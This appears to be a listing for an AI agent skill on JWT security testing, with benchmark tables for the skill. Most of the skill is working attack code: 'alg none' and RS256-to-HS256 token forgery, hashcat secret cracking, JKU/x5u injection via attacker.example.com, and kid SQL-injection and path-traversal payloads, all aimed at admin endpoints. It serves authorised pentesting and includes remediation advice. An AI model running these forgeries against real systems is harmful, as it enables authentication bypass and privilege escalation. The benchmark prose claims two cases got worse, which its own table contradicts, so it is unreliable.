Install any skill in seconds. Free to start, no credit card required.
Get Started Free →Assessing JSON Web Token implementations for cryptographic weaknesses, algorithm confusion attacks, and authorization bypass vulnerabilities during security engagements.
.claude/skills/testing-jwt-token-security/SKILL.md| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-08 | ✗→✓ | ▲ Improved | — | — |
| case-11 | ✗→✓ | ▲ Improved | — | — |
| case-15 | ✗→✓ | ▲ Improved | — | — |
| case-04 | ✗→✗ | = Same ✗ | — | — |
| case-10 | ✗→✗ | = Same ✗ | — | — |
pip install jwt_tool or git clone https://github.com/ticarpi/jwt_tool.git)pip install pyjwt)apt install hashcat)Extract and examine the header, payload, and signature components.
bash# Decode JWT parts (base64url decode) JWT="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c" # Decode header echo "$JWT" | cut -d. -f1 | base64 -d 2>/dev/null | jq . # Output: {"alg":"HS256","typ":"JWT"} # Decode payload echo "$JWT" | cut -d. -f2 | base64 -d 2>/dev/null | jq . # Output: {"sub":"1234567890","name":"John Doe","iat":1516239022} # Using jwt_tool for comprehensive analysis python3 jwt_tool.py "$JWT" # Check for sensitive data in the payload: # - PII (email, phone, address) # - Internal IDs or database references # - Role/permission claims # - Expiration times (exp, nbf, iat) # - Issuer (iss) and audience (aud)
Attempt to forge tokens by setting the algorithm to "none".
bash# jwt_tool algorithm none attack python3 jwt_tool.py "$JWT" -X a # Manual none algorithm attack # Create header: {"alg":"none","typ":"JWT"} HEADER=$(echo -n '{"alg":"none","typ":"JWT"}' | base64 | tr -d '=' | tr '+/' '-_') # Create modified payload (change role to admin) PAYLOAD=$(echo -n '{"sub":"1234567890","name":"John Doe","role":"admin","iat":1516239022}' | base64 | tr -d '=' | tr '+/' '-_') # Construct token with empty signature FORGED_JWT="${HEADER}.${PAYLOAD}." echo "Forged JWT: $FORGED_JWT" # Test the forged token curl -s -H "Authorization: Bearer $FORGED_JWT" \ "https://target.example.com/api/admin/users" | jq . # Try variations: "None", "NONE", "nOnE" for alg in none None NONE nOnE; do HEADER=$(echo -n "{\"alg\":\"$alg\",\"typ\":\"JWT\"}" | base64 | tr -d '=' | tr '+/' '-_') FORGED="${HEADER}.${PAYLOAD}." echo -n "alg=$alg: " curl -s -o /dev/null -w "%{http_code}" \ -H "Authorization: Bearer $FORGED" \ "https://target.example.com/api/admin/users" echo done
If the server uses RS256, try switching to HS256 and signing with the public key.
bash# Step 1: Obtain the server's public key # Check common locations curl -s "https://target.example.com/.well-known/jwks.json" | jq . curl -s "https://target.example.com/.well-known/openid-configuration" | jq .jwks_uri curl -s "https://target.example.com/oauth/certs" | jq . # Step 2: Extract public key from JWKS # Save the JWKS and convert to PEM format # Use jwt_tool or openssl # Step 3: jwt_tool key confusion attack python3 jwt_tool.py "$JWT" -X k -pk public_key.pem # Manual algorithm confusion attack with Python python3 << 'PYEOF' import jwt import json # Read the server's RSA public key with open('public_key.pem', 'r') as f: public_key = f.read() # Create forged payload payload = { "sub": "1234567890", "name": "Admin User", "role": "admin", "iat": 1516239022, "exp": 9999999999 } # Sign with HS256 using the RSA public key as the HMAC secret forged_token = jwt.encode(payload, public_key, algorithm='HS256') print(f"Forged token: {forged_token}") PYEOF # Test the forged token curl -s -H "Authorization: Bearer $FORGED_TOKEN" \ "https://target.example.com/api/admin/users"
If HS256 is used, attempt to crack the signing secret.
bash# Using jwt_tool with common secrets python3 jwt_tool.py "$JWT" -C -d /usr/share/wordlists/rockyou.txt # Using hashcat for GPU-accelerated cracking # Mode 16500 = JWT (HS256) hashcat -a 0 -m 16500 "$JWT" /usr/share/wordlists/rockyou.txt # Using john the ripper echo "$JWT" > jwt_hash.txt john jwt_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=HMAC-SHA256 # If secret is found, forge arbitrary tokens python3 << 'PYEOF' import jwt secret = "cracked_secret_here" payload = { "sub": "1", "name": "Admin", "role": "admin", "exp": 9999999999 } token = jwt.encode(payload, secret, algorithm='HS256') print(f"Forged token: {token}") PYEOF
Modify JWT claims to escalate privileges or bypass authorization.
bash# Using jwt_tool for claim tampering # Change role claim python3 jwt_tool.py "$JWT" -T -S hs256 -p "known_secret" \ -pc role -pv admin # Test common claim attacks: # 1. JKU (JWK Set URL) injection python3 jwt_tool.py "$JWT" -X s -ju "https://attacker.example.com/jwks.json" # Host attacker-controlled JWKS at the URL # 2. KID (Key ID) injection # SQL injection in kid parameter python3 jwt_tool.py "$JWT" -I -hc kid -hv "../../dev/null" -S hs256 -p "" # If kid is used in file path lookup, point to /dev/null (empty key) # SQL injection via kid python3 jwt_tool.py "$JWT" -I -hc kid -hv "' UNION SELECT 'secret' --" -S hs256 -p "secret" # 3. x5u (X.509 URL) injection python3 jwt_tool.py "$JWT" -X s -x5u "https://attacker.example.com/cert.pem" # 4. Modify subject and role claims python3 jwt_tool.py "$JWT" -T -S hs256 -p "secret" \ -pc sub -pv "admin@target.com" \ -pc role -pv "superadmin"
Assess token expiration enforcement and revocation capabilities.
bash# Test expired token acceptance python3 << 'PYEOF' import jwt import time secret = "known_secret" # Create token that expired 1 hour ago payload = { "sub": "user123", "role": "user", "exp": int(time.time()) - 3600, "iat": int(time.time()) - 7200 } expired_token = jwt.encode(payload, secret, algorithm='HS256') print(f"Expired token: {expired_token}") PYEOF curl -s -H "Authorization: Bearer $EXPIRED_TOKEN" \ "https://target.example.com/api/profile" -w "%{http_code}" # Test token with far-future expiration python3 << 'PYEOF' import jwt secret = "known_secret" payload = { "sub": "user123", "role": "user", "exp": 32503680000 # Year 3000 } long_lived = jwt.encode(payload, secret, algorithm='HS256') print(f"Long-lived token: {long_lived}") PYEOF # Test token reuse after logout # 1. Capture JWT before logout # 2. Log out (call /auth/logout) # 3. Try using the captured JWT again curl -s -H "Authorization: Bearer $PRE_LOGOUT_TOKEN" \ "https://target.example.com/api/profile" -w "%{http_code}" # If 200, tokens are not revoked on logout # Test token reuse after password change # Similar test: capture JWT, change password, reuse old JWT
| Concept | Description | |---------|-------------| | Algorithm None Attack | Removing signature verification by setting alg to none | | Algorithm Confusion | Switching from RS256 to HS256 and signing with the public key as HMAC secret | | HMAC Brute Force | Cracking weak HS256 signing secrets using wordlists or brute force | | JKU/x5u Injection | Pointing JWT header URLs to attacker-controlled key servers | | KID Injection | Exploiting SQL injection or path traversal in the Key ID header parameter | | Claim Tampering | Modifying payload claims (role, sub, permissions) after compromising the signing key | | Token Revocation | The ability (or inability) to invalidate tokens before their expiration | | JWE vs JWS | JSON Web Encryption (confidentiality) vs JSON Web Signature (integrity) |
| Tool | Purpose | |------|---------| | jwt_tool | Comprehensive JWT testing toolkit with automated attack modules | | Burp JWT Editor | Burp Suite extension for real-time JWT manipulation | | Hashcat | GPU-accelerated HMAC secret brute-forcing (mode 16500) | | John the Ripper | CPU-based JWT secret cracking | | PyJWT | Python library for programmatic JWT creation and manipulation | | jwt.io | Online JWT decoder for quick analysis (do not paste production tokens) |
The JWT library accepts "alg":"none" tokens, allowing any user to forge admin tokens by simply removing the signature and changing the algorithm header.
The application uses HS256 with a dictionary word as the signing secret. Hashcat cracks the secret in minutes, enabling complete token forgery and admin impersonation.
An SSO provider uses RS256 but the consumer application also accepts HS256. The attacker signs a forged token with the publicly available RSA public key using HS256.
The kid header parameter is used in a SQL query to look up signing keys. Injecting ' UNION SELECT 'attacker_secret' -- allows the attacker to control the signing key.
## JWT Security Finding
**Vulnerability**: JWT Algorithm Confusion (RS256 to HS256)
**Severity**: Critical (CVSS 9.8)
**Location**: Authorization header across all API endpoints
**OWASP Category**: A02:2021 - Cryptographic Failures
### JWT Configuration
| Property | Value |
|----------|-------|
| Algorithm | RS256 (also accepts HS256) |
| Issuer | auth.target.example.com |
| Expiration | 24 hours |
| Public Key | Available at /.well-known/jwks.json |
| Revocation | Not implemented |
### Attacks Confirmed
| Attack | Result |
|--------|--------|
| Algorithm None | Blocked |
| Algorithm Confusion (RS256→HS256) | VULNERABLE |
| HMAC Brute Force | N/A (RSA) |
| KID Injection | Not present |
| Expired Token Reuse | Accepted (no revocation) |
### Impact
- Complete authentication bypass via forged admin tokens
- Any user can escalate to any role by forging JWT claims
- Tokens remain valid after logout (no server-side revocation)
### Recommendation
1. Enforce algorithm allowlisting on the server side (reject unexpected algorithms)
2. Use asymmetric algorithms (RS256/ES256) with proper key management
3. Implement token revocation via a blocklist or short expiration with refresh tokens
4. Validate all JWT claims server-side (iss, aud, exp, nbf)
5. Use a minimum key length of 256 bits for HMAC secrets| Case | Status | Duration (ms) | Turns | Tokens | Tool calls | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Without | With | Δ | Without | With | Δ | Without | With | Δ | Without | With | Δ | ||
case-04 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-10 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-01 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-20 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-18 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-06 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-08 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-16 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-09 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-22 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-02 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-03 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-05 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-07 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-11 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-12 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-13 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-14 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-15 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-17 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-19 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-21 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
DecimalAI ran this skill against gemini-3.6-flash twice over the same eval suite — once with the skill loaded and once without — and compared the two runs case by case. 22 cases were attempted. The headline lift of +14 percentage points is the difference between those two pass rates over the 22 comparable cases. 2 cases got worse with the skill loaded, and they are included in that figure.
The per-case answers from this run were removed by the retention sweep, so the case table below shows the verdicts without the text either arm produced. The counts above were recorded at the time and are unaffected. Answers are now kept for 180 days.
Other measured skills in the registry, with their headline benchmark lift.